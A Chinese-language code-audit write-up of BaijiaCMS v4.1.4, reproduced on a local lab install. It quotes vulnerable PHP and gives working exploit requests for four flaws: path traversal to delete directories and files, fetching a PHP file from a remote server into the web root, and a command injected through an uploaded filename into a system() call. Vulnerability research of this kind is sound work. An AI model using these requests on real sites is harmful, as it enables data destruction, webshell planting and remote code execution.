环境搭建
源码下载:https://gitee.com/openbaijia/baijiacms.git
放入PHPstudy,建一个baijiacms的数据库,访问进行安装,设置管理员用户和密码为admin、admin;
审计准备
查看网站目录结构
Seay源代码审计系统扫描
任意路径删除
代码分析
点进这个漏洞查看代码;
/includes/baijiacms/common.inc.php
(520-547):
function rmdirs($path='',$isdir=false)
{
if(is_dir($path))
{
$file_list= scandir($path);
foreach ($file_list as $file)
{
if( $file!='.' && $file!='..')
{
if($file!='qrcode')
{
rmdirs($path.'/'.$file,true);
}
}
}
if($path!=WEB_ROOT.'/cache/')
{
@rmdir($path);
}
}
else
{
@unlink($path);
}
}
绕过$path
是路径,就删除这个路径,是文件就删除这个文件;
全局搜索rmdirs
,发现/system/menager/class/web/database.php
调用了这个函数(246-255):
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
功能是删除备份文件,但是只判断是否为路径,并没有验证是什么路径,所以可以抓包修改为任意路径,从而删除任意路径下的文件;
漏洞复现
再根目录下建一个test文件夹,进入后台备份与还原页面,点击删除,抓包;
将id的内容修改为要删除的test文件夹的路径../../test
的base64编码Li4vLi4vdGVzdA==
,Go,删除成功;
## 任意文件删除
代码分析
/system/eshop/core/mobile/util/uploader.php
(46-50):
elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
获取到$file
参数,调用file_delete
函数,跟踪到/includes/baijiacms/common.inc.php
(695-734):
function file_delete($file_relative_path) {
if(empty($file_relative_path)) {
return true;
}
$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
$ftp=new baijiacms_ftp();
if (true === $ftp->connect()) {
if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
return true;
} else {
return false;
}
} else {
return false;
}
}
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
$oss=new baijiacms_oss();
$oss->deletefile($file_relative_path);
return true;
}
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
}
return true;
}
$settings['system_isnetattach']
是附件设置页面中的远程附件选择,有本地、FTP、OSS,我选择的是本地;
直接到达最后一个else,进行if_file
判断,然后执行unlink
删除文件;
漏洞复现
在根目录下建一个test.txt,构造url访问:http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt
成功删除;
远程文件上传
代码分析
/system/public/class/web/file.php
(18-26):
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
传入url,调用fetch_net_file_upload()
函数,跟踪到/includes/baijiacms/common.inc.php
(613-616):
function fetch_net_file_upload($url) {
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
用pathinfo
把文件路径以数组形式返回,且只返回extension,即扩展名;
路径拼接年月,创建路径;随机数和扩展名拼接为文件名;
将读取的文件写入拼接生成的路径下,最后,返回路径信息;
漏洞复现
在远程服务器上建一个test.php,内容是<?php echo "<?php phpinfo();";
;
构造url:http://127.0.0.1/baijiacms/index.php?mod=web&do=file&m=public&op=fetch&url=http://远程IP/test.php
访问获得写入的路径;
访问该路径,写入成功;
远程命令执行
代码分析
/system/weixin/class/web/setting.php
(20-40):
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt')
{
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr))
{
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
if($verify_root!=WEB_ROOT."/")
{
copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
}
$cfg['weixin_hasverify']=$file['name'];
}
也是pathinfo
获取扩展名,进行判断,调用file_save
函数,跟踪到/includes/baijiacms/common.inc.pphp
(637-655):
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
.....
.....
}
$settings['image_compress_openscale']
即附件设置页面的是否开启图片压缩功能;经过判断后,system执行上传的文件,导致RCE;
漏洞复现
本地创建一个名称为命令的txt文件;
找到上传页面进行上传,提交;
执行成功;
文章来源:先知社区
欢迎加群,学知识,不吹水。吹水的请绕过!
首先点击下面关注,在加我,我拉你们进群。
记得关注哟!学知识,不吹水。
原文始发于微信公众号(衡阳信安):百家CMS v4.1.4代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论